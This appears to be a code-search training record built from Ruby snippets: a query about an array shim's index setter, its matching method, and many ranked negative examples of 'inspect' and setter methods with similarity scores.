"def inspect\n att_info = []\n inspect_attributes.each do |att|\n next unless respond_to? att\n\n att_info << \"#{att}=#{send(att).inspect}\"\n end\n att_info << '..'\n \"\\#<#{self.class}:#{object_id} #{att_info.join(', ')}>\"\n end",
"def inspect\n \"#<#{self.class} @attributes=#{@attributes.inspect}>\"\n end",
"def inspect(*) end",
"def inspect(*) end",
"def inspect(*) end",
"def inspect(*) end",
"def inspect(*) end",
"def inspect\n inspection = self.info.keys.map { |name|\n \"#{name}: #{attribute_for_inspect(name)}\"\n }.compact.join(\", \")\n \"#<#{self.class}:0x#{self.object_id.to_s(16)} #{inspection}>\"\n end",
"def inspect\n str = Inspect.dashed_line(self.class, 1)\n self.class.class_eval { @attributes }.each do |attr|\n str << Inspect.inspect_asn1_attribute(attr, self[attr], 1)\n end\n str\n end",
"def attribute_for_inspect(attr_name)\n attr_name = attr_name.to_s\n value = _read_attribute(attr_name)\n format_for_inspect(value)\n end",
"def dumpVM(vm)\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin Attributes [vm.attributes]\")\n vm.attributes.sort.each { |k, v| $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> Attributes - #{k}: #{v.inspect}\")}\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End Attributes [vm.attributes]\")\n $evm.log(\"info\",\"\")\n\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin Associations [vm.associations]\")\n vm.associations.sort.each { |assc| $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> Associations - #{assc}\")}\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End Associations [vm.associations]\")\n $evm.log(\"info\",\"\")\n\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin Hardware Attributes [vm.hardware]\")\n vm.hardware.attributes.each { |k,v| $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> Hardware - #{k}: #{v.inspect}\")}\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End Hardware Attributes [vm.hardware]\")\n $evm.log(\"info\",\"\")\n\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin Hardware Associations [vm.hardware.associations]\")\n vm.hardware.associations.sort.each { |assc| $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> hardware Associations - #{assc}\")}\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End hardware Associations [vm.hardware.associations]\")\n $evm.log(\"info\",\"\")\n\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin Neworks [vm.hardware.nics]\")\n vm.hardware.nics.each { |nic| nic.attributes.sort.each { |k,v| $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> VLAN:<#{nic.device_name}> - #{k}: #{v.inspect}\")}}\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End Networks [vm.hardware.nics]\")\n $evm.log(\"info\",\"\")\n\n unless vm.ext_management_system.nil?\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin EMS [vm.ext_management_system]\")\n vm.ext_management_system.attributes.sort.each { |ems_k, ems_v| $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> EMS:<#{vm.ext_management_system.name}> #{ems_k} - #{ems_v.inspect}\")}\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End EMS [vm.ext_management_system]\")\n $evm.log(\"info\",\"\")\n end\n\n unless vm.owner.nil?\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin Owner [vm.owner]\")\n vm.owner.attributes.each { |k,v| $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> Owner - #{k}: #{v.inspect}\")}\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End Owner [vm.owner]\")\n $evm.log(\"info\",\"\")\n end\n\n unless vm.operating_system.nil?\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin Operating System [vm.operating_system]\")\n vm.operating_system.attributes.sort.each { |k, v| $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> Operating System - #{k}: #{v.inspect}\")}\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End Operating System [vm.operating_system]\")\n $evm.log(\"info\",\"\")\n end\n\n unless vm.guest_applications.nil?\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin Guest Applications [vm.guest_applications]\")\n vm.guest_applications.each { |guest_app| guest_app.attributes.sort.each { |k, v| $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> Guest Application:<#{guest_app.name}> - #{k}: #{v.inspect}\")}} unless vm.guest_applications.nil?\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End Guest Applications [vm.guest_applications]\")\n $evm.log(\"info\",\"\")\n end\n\n unless vm.snapshots.nil?\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin Snapshots [vm.snapshots]\")\n vm.snapshots.each { |ss| ss.attributes.sort.each { |k, v| $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> Snapshot:<#{ss.name}> - #{k}: #{v.inspect}\")}} unless vm.snapshots.nil?\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End Snapshots [vm.snapshots]\")\n $evm.log(\"info\",\"\")\n end\n\n unless vm.storage.nil?\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin VM Storage [vm.storage]\")\n vm.storage.attributes.sort.each { |stor_k, stor_v| $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> Storage:<#{vm.storage.name}> #{stor_k} - #{stor_v.inspect}\")}\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End VM Storage [vm.storage]\")\n $evm.log(\"info\",\"\")\n end\n\n unless vm.tags.nil?\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin Tags [vm.tags]\")\n vm.tags.sort.each { |tag_element| tag_text = tag_element.split('/'); $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> Category:<#{tag_text.first.inspect}> Tag:<#{tag_text.last.inspect}>\")}\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End Tags [vm.tags]\")\n $evm.log(\"info\",\"\")\n end\n\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> Begin Virtual Columns [vm.virtual_column_names]\")\n vm.virtual_column_names.sort.each { |vcn| $evm.log(\"info\", \"#{@method} - VM:<#{vm.name}> Virtual Columns - #{vcn}: #{vm.send(vcn).inspect}\")}\n $evm.log(\"info\",\"#{@method} - VM:<#{vm.name}> End Virtual Columns [vm.virtual_column_names]\")\n $evm.log(\"info\",\"\")\n end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def attr_info; end",
"def vm_info\n unless @vm\n warn 'No VM assigned to get info from'\n return\n end\n @vm = locate_vm(@vm.to_hash['VM']['ID'].to_i)\n @vm.to_hash\n end",
"def attr_inspector(*attrs)\n @inspectables = attrs\n end",
"def attr_inspector(*attrs)\n @inspectables = attrs\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n @v.inspect\n end",
"def inspect\n inspectables = self.class.inspectables\n if inspectables\n \"#<#{self.class}:0x#{object_id.to_s(16)} \" + inspectables.map {|i| \"@#{i}=\\\"#{send(i) rescue nil}\\\"\"}.join(' ') + \">\"\n else\n super\n end\n end",
"def inspect\n inspectables = self.class.inspectables\n if inspectables\n \"#<#{self.class}:0x#{object_id.to_s(16)} \" + inspectables.map {|i| \"@#{i}=\\\"#{send(i) rescue nil}\\\"\"}.join(' ') + \">\"\n else\n super\n end\n end",
"def fattr_inspect\n to_hash.inspect\n end",
"def inspect\n generate_inspect(self, :address, :name, :aliases, :comment, :cache)\n end",
"def vboxmanage_vminfo(machine_id)\n vm = Mash.new\n\n if vbox_host?\n so_cmd = \"VBoxManage showvminfo #{machine_id} --machinereadable\"\n logger.trace(so_cmd)\n so = shell_out(so_cmd)\n\n if so.exitstatus == 0\n so.stdout.lines.each do |line|\n line.chomp!\n left, right = line.split(\"=\")\n\n # remove enclosing quotes, if needed\n key =\n case left\n when /^\"(.*)\"$/\n Regexp.last_match(1)\n else\n left\n end\n\n # skip the name attribute since that is the parent key\n next if left == \"name\"\n\n # remove enclosing quotes, if needed\n value =\n case right\n when /^\"(.*)\"$/\n Regexp.last_match(1)\n else\n right\n end\n\n vm[key.downcase] = value\n end\n end\n end\n vm\n rescue Ohai::Exceptions::Exec\n logger.trace(\"Plugin VboxHost: Could not run '#{so_cmd}'. Skipping data\")\n end",
"def attribute_for_inspect(attr_name)\n value = attribute(attr_name)\n\n if value.is_a?(String) && value.length > 50\n \"#{value[0, 50]}...\".inspect\n elsif value.is_a?(Date) || value.is_a?(Time)\n %(\"#{value.to_s(:db)}\")\n else\n value.inspect\n end\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def attribute_for_inspect(attr_name)\n value = read_attribute(attr_name)\n\n if value.is_a?(String) && value.length > 50\n \"#{value[0..50]}...\".inspect\n elsif value.is_a?(Date) || value.is_a?(Time)\n %(\"#{value.to_s(:db)}\")\n else\n value.inspect\n end\n end",
"def inspectable?; true; end",
"def inspect\n redacted_string(:inspect)\n end",
"def inspect\n redacted_string(:inspect)\n end",
"def attribute_for_inspect(attr_name)\n value = read_attribute(attr_name)\n\n if value.is_a?(String) && value.length > 50\n \"#{value[0..50]}...\".inspect\n elsif value.is_a?(Date) || value.is_a?(Time)\n %(\"#{value.to_s(:db)}\")\n else\n value.inspect\n end\n end",
"def attribute_for_inspect(attr_name)\n value = read_attribute(attr_name)\n if value.is_a?(String) && value.length > 50\n \"#{value[0..50]}...\".inspect\n elsif value.is_a?(Date) || value.is_a?(Time)\n %(\"#{value.to_s(:db)}\")\n else\n value.inspect\n end\n end",
"def inspect()\n #This is a stub, used for indexing\n end",
"def attributes\n attrs = sort_members(@context.attributes).find_all{|a| @options.show_all || a.visibility == :public || a.visibility == :protected}\n attrs.collect{|a| {:name=>a.name, :visibility=>a.visibility, :rw=>a.rw, :description=>markup(a.comment, true)}}\n end",
"def inspect\n \"#<#{classname} :#{attribute}>\"\n end",
"def inspect\n inspection = serializable_hash.collect do |k,v|\n \"#{k}: #{respond_to?(:attribute_for_inspect) ? attribute_for_inspect(k) : v.inspect}\"\n end\n \"#<#{self.class} #{inspection.join(\", \")}>\"\n end",
"def inspect\n inspected_attributes = attribute_names.sort\n attributes_list = \"(#{inspected_attributes.join(\", \")})\" unless inspected_attributes.empty?\n \"#{name}#{attributes_list}\"\n end",
"def inspect\n @info.inspect \n end",
"def inspect\n inspected = super\n\n if NgpVan.configuration.api_key\n filter_value!(inspected, NgpVan.configuration.api_key)\n end\n\n if NgpVan.configuration.application_name\n filter_value!(inspected, NgpVan.configuration.application_name)\n end\n\n inspected\n end",
"def inspect\n\t\t\tmodel_inspect = super\n\t\t\ta = dynamic_attributes_fields.keys.map { |attr| \"#{attr}: #{self[attr].inspect || 'nil'}\" }\n\t\t\tdynamic_inspect = a.join(', ')\n\t\t\t\"#{model_inspect[0..-2]} || #{dynamic_inspect}>\"\n\t\tend"
] |
[
"0.7034613",
"0.683053",
"0.6475023",
"0.64200974",
"0.64200974",
"0.64200974",
"0.64200974",
"0.64200974",
"0.64200974",
"0.64200974",
"0.64200974",
"0.64200974",
"0.64200974",
"0.64200974",
"0.64200974",
"0.64200974",
"0.64200974",
"0.63720167",
"0.6364082",
"0.63441926",
"0.6278646",
"0.62456626",
"0.62013185",
"0.62013185",
"0.62013185",
"0.62013185",
"0.62013185",
"0.6177494",
"0.61622894",
"0.61598694",
"0.61500823",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6144507",
"0.6098614",
"0.609738",
"0.6060682",
"0.6060682",
"0.60286695",
"0.60286695",
"0.60036737",
"0.59981436",
"0.59981436",
"0.5981026",
"0.5952792",
"0.5933663",
"0.5927619",
"0.5910775",
"0.5910775",
"0.5910775",
"0.5910775",
"0.5910775",
"0.5910775",
"0.5910775",
"0.5910775",
"0.5910775",
"0.5910775",
"0.5910775",
"0.5910775",
"0.5910775",
"0.59067565",
"0.59054315",
"0.5894194",
"0.5894194",
"0.586326",
"0.5863094",
"0.58610356",
"0.58431786",
"0.5841826",
"0.58371353",
"0.5835425",
"0.582225",
"0.580217",
"0.5792995"
] |
0.59483683
|
71
|
callseq: shim[index] => value Returns the _value_ at the given _index_. The array shim applies it's offset to the _index_ before retrieving the value.
|
def []( index )
@ary.at(index + @offset)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def by_index(index)\n @arr[index]\n end",
"def at(index)\n \t@array[index]\n end",
"def at( index )\r\n @ary.at(index + @offset)\r\n end",
"def retrieve_element_from_index(array, index_number)\n return array[index_number]\nend",
"def at(index)\n each.with_index { |v, i| return v if i == index }\n return nil\n end",
"def get(index)\n @array_list.get(index)\n end",
"def retrieve_element_from_index(array, index_number)\n array[index_number]\nend",
"def retrieve_element_from_index(array, index_number)\n array[index_number]\nend",
"def get_at_index(index)\n raise NotImplementedError, \"Please implement get_at_index\"\n end",
"def [](index)\n @val[index]\n end",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n arr[index] \n end",
"def element_at(arr, index)\n arr[index]\nend",
"def [](index)\n @values[index]\n end",
"def [](index)\n value = self.value\n value = value.value if value.is_a?(Value)\n \n case value\n when Array\n case index\n when Integer\n value[index]\n when Symbol\n case index\n when :head\n value[0]\n when :tail\n value[1..-1]\n else\n nil\n end\n else\n nil\n end\n else\n nil\n end\n end",
"def element_at(arr, index)\n arr[index]\n # or arr.at(index)\nend",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n return arr[index]\nend",
"def [](index)\n @values[index]\n end",
"def [](index)\n if @values.include?(index)\n return @values[index]\n else\n return @default\n end\n end",
"def [](index)\n i = 0\n each { |x| return x if i == index; i += 1 }\n nil # out of index\n end",
"def [](index)\n return get(index)\n end",
"def get(index)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@data[index]\n\tend",
"def get(index)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@data[index]\n\tend",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n arr[index]\nend",
"def get_item(index_num)\r\n @arr.fetch(index_num)\r\n end",
"def [](index)\n raise_future_proof_exception unless finished?\n values[index]\n end",
"def [](*index)\n if index[0].kind_of?(Array)\n index = index[0]\n end\n return @delegate[index]\n end",
"def [](index)\n # Handle a negative index\n index = size + index if index < 0\n\n # Get or create the dependency\n dep = (@array_deps[index] ||= Dependency.new)\n\n # Track the dependency\n dep.depend\n\n # Return the index\n @array[index]\n end",
"def at(array, i)\n array[i]\nend",
"def get(index)\n raise \"Only positive indexes, #{index}\" if index <= 0\n if index > self.get_length\n return nil\n else\n return internal_object_get(index + 1)\n end\n end",
"def [](index)\n cast get(index)\n end",
"def get_at_index(index)\n return nil if index > length\n return get_at_index_helper(index, 0, @head)\n end",
"def [](index)\n return @elements[index] if index.kind_of? Numeric\n return @element_map[index] if @element_map[index] \n return @element_map[index.to_s] \n end",
"def get_value(index, value)\n index = index.is_a?(Array) ? index : [index]\n key = index.shift.to_sym\n value.is_a?(Hash) and value[key] and value[key].is_a?(Hash) ?\n get_value(index, value[key]) :\n value[key]\n end",
"def [](index); @data[index]; end",
"def [](index) # i.e. array style index lookup.\n end",
"def [](index)\n get(index)\n end",
"def update_element_from_index(array, index_number, element)\nreturn array[index_number] = element\n\nend",
"def nth_polyfill(list, index)\n index = index.value\n list = list.value\n index = list.length + index + 1 if index < 0\n list[index - 1]\n end",
"def at(index)\n self[index]\n end",
"def []=(index, value)\n %x{\n var size = #{self}.length;\n\n if (index < 0) {\n index += size;\n }\n\n return #{self}[index] = value;\n }\n end",
"def [](index)\n Base.typecast(CF.CFArrayGetValueAtIndex(self, index))\n end",
"def []=( index, value )\r\n @ary[index + @offset] = value\r\n end",
"def [](index)\n self.__getitem__ index\n end",
"def [](index)\n execute\n return @result[index]\n end",
"def [](index)\n raise ArgumentError, \"index must be < #{size}\" if index >= size\n number[index]\n end",
"def [](indx)\n elements[indx]\n end",
"def [](index)\n lookup(index.to_sym)\n end",
"def at(idx)\n Ruby.primitive :array_aref\n end",
"def get(index = nil)\n @local_index.get(index)\n end",
"def get_index(index)\n return self.at(index)\n end",
"def [](index = nil)\n to_alloc[index]\n end",
"def at(index); end",
"def [](index)\n @index[index]\n end",
"def [](index)\n Array.new([index])\n end",
"def [](loc, idx)\n return loc if immediate?(idx)\n\n sequence[loc]\n end",
"def [](idx)\n return unless addresses[idx]\n\n to_a[idx]\n end",
"def index(array, position)\n array.at(position) if array.respond_to?(:at)\n end",
"def [](index)\n @values.detect{|value| value.name == index }\n end",
"def [](index)\n @json_data['values'][index] if @json_data['values'][index]\n end",
"def dereference(index)\n # NOTE: index is zero-based in this module.\n value = STATIC_TABLE[index] || @table[index - STATIC_TABLE.size]\n fail CompressionError, 'Index too large' unless value\n value\n end",
"def [](index)\r\n @library[index]\r\n end",
"def item(index = self.index)\n return @data[index]\n end",
"def [](index); end",
"def []=(indx, value)\n elements[indx] = value\n end",
"def get_at_index(index)\r\n return nil unless @head\r\n return nil if index < 0\r\n cursor = @head\r\n index.times do\r\n return nil unless cursor.next\r\n cursor = cursor.next\r\n end\r\n return cursor.data\r\n end",
"def item(index)\n each_with_index { |item, ix| return item if index == ix } && nil\n end",
"def []=(index, value)\n end",
"def [](idx)\n send(idx)\n end",
"def get(index)\n @list[index] || -1\n end",
"def []= index, value\n if index.class != Fixnum or value.class != Array or\n index >= 2**(@mar.length) or index < 0 or value.length != @mdr.length\n\n raise ArgumentError.new \"wrong index and / or value given\"\n end\n\n @memory[index] = value\n end",
"def array_method(input, value_input, which_index)\n\tinput[which_index] = value_input\t\n\tputs input\n\treturn input\nend",
"def item(index = self.index)\n @data[index]\n end",
"def at(index)\n if index >= self.size\n puts \"index out of range.\"\n else\n each_with_index do |node, i|\n return node.value\n end\n end\n end",
"def [](idx)\n\t\t@bar[idx]\n\tend",
"def values_at(index, vals)\n vals = vals.map { |v| value_hash[v][index] }\n vals\n end",
"def [] i\n @array[i]\n end",
"def [](offset = 0)\n return self.array_element(- 1 + offset)\n end",
"def row(index)\n @data[index]\n end",
"def [](idx)\n Ruby.primitive :array_aref\n end",
"def get(index)\n \n end",
"def [](*index)\n\n if (index.size != 0)\n @local_index[*index]\n elsif (@local_iterator)\n @local_iterator.get_current\n else\n raise \"No iterator defined! Cannot get element\"\n end\n\n end",
"def [](offset = 0)\n array_element(-1 - offset)\n end",
"def [](index)\n\t\t@sequence[index]\n\tend",
"def []=(index, value)\n end",
"def [](index)\n ret = get_node_at_index(index)\n return ret.value if ret != nil\n return ret\n end",
"def []( index )\n reg = to_reg()\n reg[index]\n end",
"def [](index)\n return @items[index]\n end",
"def aget(index)\n end",
"def [](index)\n @driver_instance.get_list_value(@key, index)\n end",
"def []=(index,value)\n add_at(index,value)\n end",
"def get(index) \n assert_in_range index\n node, previous = get_node(index)\n node.value\n end",
"def [](index)\n set?(index)\n end",
"def at(index)\n return nil if @head.nil? \n return @head if index == 1\n return nil if index > self.size\n self.each_with_index do |current, ind|\n return current if ind == index\n end\n\n end",
"def [](index)\n @rows[index]\n end",
"def check_array_index(index, array_size)\n return -1 if index == \"-\"\n raise ObjectOperationOnArrayException unless index =~ /\\A-?\\d+\\Z/\n\n index = index.to_i\n\n # There is a bug in the IETF tests that require us to allow patches to\n # set a value at the end of the array. The final '<=' should actually be\n # a '<'.\n raise OutOfBoundsException unless (0 <= index && index <= array_size)\n\n index\n end",
"def get_val_at_index(index)\n if index_valid?(index)\n current_node = @head\n i = 0\n while i < index\n current_node = current_node.next_node\n i += 1\n end\n current_node.val\n end\n end",
"def [](idx)\n row(:index, idx)\n end",
"def [](index)\n all[index]\n end",
"def get_at_index(index)\n # initialize current to head\n current = @head\n # account for index being greater than list length\n if index + 1 > length\n return nil\n # otherwise, move current to index\n else \n index.times do \n current = current.next\n end\n end\n # return value at indexed node\n return current.data\n end",
"def get(index)\n raise(StandardError, 'IndexError') if invalid_index?(index)\n\n find_node_by_index(index).data\n end"
] |
[
"0.6705164",
"0.6573022",
"0.64711934",
"0.6421656",
"0.6329272",
"0.62882257",
"0.6282665",
"0.6282665",
"0.62565213",
"0.6248689",
"0.6170818",
"0.6129213",
"0.60942155",
"0.60735285",
"0.60180324",
"0.60075724",
"0.6007493",
"0.600637",
"0.60061693",
"0.5991592",
"0.59904766",
"0.59904766",
"0.5980014",
"0.5969646",
"0.5964362",
"0.591594",
"0.59153265",
"0.591483",
"0.5861314",
"0.58448666",
"0.5805437",
"0.5783792",
"0.5778129",
"0.57725376",
"0.57644916",
"0.57487464",
"0.57436246",
"0.5733696",
"0.5710367",
"0.5706292",
"0.5684971",
"0.5663869",
"0.5646731",
"0.5643181",
"0.5641002",
"0.56406075",
"0.5636747",
"0.56115013",
"0.5584108",
"0.5561718",
"0.5556824",
"0.55421925",
"0.5539593",
"0.5526727",
"0.55189484",
"0.551772",
"0.55053383",
"0.5494094",
"0.54793674",
"0.5473717",
"0.5469166",
"0.5464005",
"0.544219",
"0.5439765",
"0.5430958",
"0.5423486",
"0.54229665",
"0.5404992",
"0.53944016",
"0.5391514",
"0.53891623",
"0.53758276",
"0.53687215",
"0.5368126",
"0.53608835",
"0.5353781",
"0.53419834",
"0.5340203",
"0.5339352",
"0.53372157",
"0.53355974",
"0.53273296",
"0.5317091",
"0.530729",
"0.5296783",
"0.5284043",
"0.52697444",
"0.5262254",
"0.52509934",
"0.52487695",
"0.5238913",
"0.52332383",
"0.5229332",
"0.5222798",
"0.5214376",
"0.5213922",
"0.5213421",
"0.52096176",
"0.5199722",
"0.5197675"
] |
0.61637765
|
11
|
callseq: shim[index] = value Sets the _value_ at the given _index_. The array shim applies it's offset to the _index_ before setting the _value_.
|
def []=( index, value )
@ary[index + @offset] = value
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def []=(index, value)\n set(index, value)\n end",
"def []=(index, value)\n end",
"def set(index, val)\n \n end",
"def []=(indx, value)\n elements[indx] = value\n end",
"def []=(index, value)\n %x{\n var size = #{self}.length;\n\n if (index < 0) {\n index += size;\n }\n\n return #{self}[index] = value;\n }\n end",
"def []=(index, value)\n end",
"def []=(index,value)\n add_at(index,value)\n end",
"def []=(index, value)\n self.__setitem__ index, value\n end",
"def []=(index, value)\n index += @length if index < 0\n\n `self[index] = value`\n end",
"def set( index , value)\n raise \"Only positive indexes #{index}\" if index <= 0\n if index > self.get_length\n grow_to(index)\n end\n # internally 1 is reserved for the layout\n internal_object_set( index + 1, value)\n end",
"def []= index, value\n if index.class != Fixnum or value.class != Array or\n index >= 2**(@mar.length) or index < 0 or value.length != @mdr.length\n\n raise ArgumentError.new \"wrong index and / or value given\"\n end\n\n @memory[index] = value\n end",
"def set(index, value)\n @local_index.set(index, value)\n end",
"def []=(index,value)\n @values[index] = value\n if index >= @size\n @size = index+1\n end\n end",
"def set(index, val)\n @current[index] = val\n end",
"def set_at(index, value)\n raise \"The index #{index} is not in the range of the list\" unless in_limits?(index)\n\n pos = position_for_index(index)\n\n set_value(pos,value)\n end",
"def gui_set_value(idx, val, force_overwrite=false)\n sel=@selection\n clear_selection()\n ret=nil\n if not sel.nil?\n @data[sel] = val\n @data_changed=true\n ret=sel.first\n elsif idx and (0..@data.size).include? idx\n if ins_mode and not val.empty? and not force_overwrite\n @data[idx, 0] = val\n else\n vsize = (val.size>0)? val.size : 1\n @data[idx, vsize] = val\n end\n @data_changed=true\n ret=idx\n end\n update_dimensions\n refresh\n return ret\n end",
"def []=(index, value)\r\n @library[index] = value\r\n end",
"def set(index, element)\n @array_list.set(index, element)\n end",
"def []=(index, value)\n method_name = \"#{index.to_s.downcase}=\"\n raise KeyError.new(\"Unkown index: #{index}\") unless respond_to? method_name\n send method_name, value\n end",
"def []=(index, val)\n #@struct[:ptr].send(\"put_#{dtype}\".to_sym, index*STRIDES[dtype], val)\n @struct.set(@struct, index, val)\n end",
"def []=(index, value)\n\t\t@field[1][index] = value\n\tend",
"def update_element_from_index(array, index_number, element)\nreturn array[index_number] = element\n\nend",
"def set(index, val)\n @changes[index] = val\n end",
"def []=(index, value)\n @driver_instance.set_list_value(@key, index, value)\n end",
"def set(index, element)\n\t\traise OutOfBoundsException if index >= @size\n\t\t@data[index] = element\n\tend",
"def set(index, element)\n\t\traise OutOfBoundsException if index >=@size\n\t\t@data[index] = element\n\tend",
"def []=(offset, value)\n iterator = self.iterator\n iterator[offset] = value\n end",
"def []=(index, value)\n raise TypeError, \"instance is not mutable\" unless mutable?\n self.class.check_cftype(value)\n CF.CFArraySetValueAtIndex(self, index, value)\n end",
"def aset(index, value)\n end",
"def set_row_by_idx(idx, value)\n @row[idx] = value\n end",
"def set!(idx, val)\n case idx\n when Range\n RAtlas::set_by_range!(@storage, idx, val.storage)\n when Array\n RAtlas::set_many!(@storage, idx, val.storage)\n else \n RAtlas::set_one!(@storage, idx, val)\n end\n return self\n end",
"def set _index, _value\n <<-SQF\n MEMBER(\"__dataset\", nil) set [_index, _value];\n SQF\n end",
"def []=(index, value)\n raise ArgumentError, \"index must be < #{size}\" if index >= size\n mask = 1 << index\n @number = value && value != 0 ? number | mask : number & ~mask\n end",
"def set_property_at_index(ctx,object,propertyIndex,value,exception)\n JS::Lib.JSObjectSetPropertyAtIndex(ctx,object,propertyIndex,value,exception)\n end",
"def move( array, index, value=\"X\" )\n array[index] = value\nend",
"def []=(*indexes, value)\r\n validate_index_count(indexes)\r\n source = value.in_array.cycle\r\n process_indexes(indexes) {|_index, posn| @array_data[posn] = source.next}\r\n value\r\n end",
"def []=(index, element); end",
"def set_value_at_index value, row_index, column_index\n raise ArgumentError.new(\"There is no image\") if self.data == []\n raise ArgumentError.new(\"column or row out of bound\") if 1 > row_index || row_index > self.data.row_count || 1 > column_index || column_index > self.data.column_count\n Bitmap.instance.data.send(:[]=, row_index-1, column_index-1, value)\n end",
"def []=(index, object)\n # raises IndexOutOfBoundsException if index is out of bounds [0, @length)\n # TODO\n end",
"def []=(index, value)\n node = get_node_at_index(index)\n node.value = value\n node.value\n end",
"def move(array, index, value = \"X\")\n array[index] = value\nend",
"def []=(index, value)\n node = find_node(index)\n node.value = value\n end",
"def set(element, index)\n raise(StandardError, 'IndexError') if invalid_index?(index)\n\n find_node_by_index(index).tap { |node| node.data = element }.data\n end",
"def set_property_at_index(propertyIndex,value,exception = nil)\n value = JS::Value.from_ruby(context,value)\n res = super(context,self,propertyIndex,value,exception)\n return res\n end",
"def []=(index, value)\n\t\t@store[index] = value\n\tend",
"def []=(index, val)\n @list[index]=val\n fire_row_changed index\n self\n end",
"def []=(i, v)\n values[column_index i] = v\n end",
"def []=(key, value)\n offset = append(key, value)\n index(key, offset)\n end",
"def set(*indices, value)\n set_root @config, value, *indices\n end",
"def update_array_at_with(array, index)\n board[index] = \"X\"\nend",
"def put(index,val)\n # preconditions and invariants\n _invariants\n assert(_inbounds(index,self),\"pre-condition\")\n assert((val.is_a? Numeric), \"pre-condition\")\n # keep track for post-conditions\n oldVal = self[index]\n oldRepItemCount = self.internalRepItemCount\n\n @delegate.put(index,val)\n\n # post conditions and invariants\n _invariants\n assert_equal( self[index], val, \"post-condition\" )\n assert(self.include?(val), \"post-condition\")\n # slightly different behavior for setting zero and non-zero values\n if val == 0 and oldVal != 0\n assert_equal(self.internalRepItemCount,oldRepItemCount-1,\"post-condition\")\n elsif (val != 0 and oldVal != 0) or (val == 0 and oldVal == 0)\n assert_equal(self.internalRepItemCount,oldRepItemCount,\"post-condition\")\n elsif val != 0 and oldVal == 0\n assert_equal(self.internalRepItemCount,oldRepItemCount+1,\"post-condition\")\n end\n end",
"def array_method(input, value_input, which_index)\n\tinput[which_index] = value_input\t\n\tputs input\n\treturn input\nend",
"def []=(index, value)\n genes[index] = value\n end",
"def set(index, element)\n node_at_index = get(index)\n node_at_index.element = element\n end",
"def current_value=(v)\n index = current_index\n @array[index] = v if index >= 0\n end",
"def []=(index, newvalue)\n newvalue = newvalue.to_s\n unless (@choices + [\".\"]).include? newvalue\n raise Invalid, \"Illegal Value\"\n end\n #Calls subtract_value method to remove\n #the current value from its row, column, and box\n subtract_value(index)\n #Calls add_value method to add new value\n #to puzzle and add it to proper row, column, and box\n add_value(index, newvalue)\n end",
"def []= index, value\n @degrees[index] = value\n end",
